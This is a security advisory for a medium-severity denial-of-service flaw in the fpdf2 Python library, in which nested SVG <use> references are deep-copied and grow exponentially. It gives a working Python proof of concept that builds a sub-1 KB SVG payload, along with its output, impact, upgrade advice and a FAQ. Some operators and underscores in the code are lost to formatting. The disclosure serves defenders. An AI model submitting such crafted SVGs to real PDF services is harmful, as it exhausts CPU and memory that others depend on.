GHSA-wqw6-wpr3-45rh: Medium severity pip/fpdf2 vulnerability

Published Oct 27, 2026

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.buildxref() passes the referenced object to GraphicsContext.additem():

python pdfgroup.additem(self.crossreferences[ref])

GraphicsContext.additem() uses clone=True by default and deep-copies the object:

python def additem(self, item, clone=True): if clone: item = deepcopy(item) self.pathitems.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

python import resource import time

from fpdf import FPDF

groups = ['<g id="g0"><rect width="1" height="1"/></g>'] for level in range(1, 6): uses = f'<use href="#g{level - 1}"/>' 8 groups.append(f'<g id="g{level}">{uses}</g>')

svg = ( '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">' '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>' ).encode()

pdf = FPDF() pdf.addpage()

limit = 128 1024 1024 resource.setrlimit(resource.RLIMITAS, (limit, limit))

print(f"payload size: {len(svg)} bytes") started = time.perfcounter()

try: pdf.image(svg, w=10) except MemoryError: elapsed = time.perfcounter() - started maxrss = resource.getrusage(resource.RUSAGESELF).rumaxrss print(f"MemoryError after {elapsed:.3f}s, max RSS: {maxrss} KiB")

text payload size: 895 bytes MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Affected Software

1 affected componentFixes available
pip/fpdf2>=2.5.0<2.8.8
2.8.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/fpdf2 to a version that resolves this vulnerability.

    Fixed in 2.8.8
  2. Compensating control

    Apply a 128 MB address-space limit to the PDF-generation process using RLIMIT_AS so crafted SVG processing fails safely instead of consuming all available system memory.

Frequently Asked Questions

1

Which applications are exposed to this denial-of-service condition?

Applications are exposed when they process SVG images through fpdf2's FPDF.image() method, particularly if a user with the ability to supply or modify SVG content can influence the image being processed.

2

What does an attacker need to exploit the issue?

An attacker needs to provide an SVG containing nested <use> references for fpdf2 to process. The issue is triggered by fpdf2's own SVG reference handling and does not require XML entities, external URLs, local files, or behavior from another dependency.

3

What is the practical impact of a malicious SVG?

Nested references cause fpdf2 to deep-copy referenced graphics trees, resulting in exponential growth of in-memory objects and excessive CPU and memory use. The issue was reproduced on fpdf2 2.8.7 with an 895-byte SVG that kept a process under a 128 MB limit busy for about 14 seconds before it raised MemoryError.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203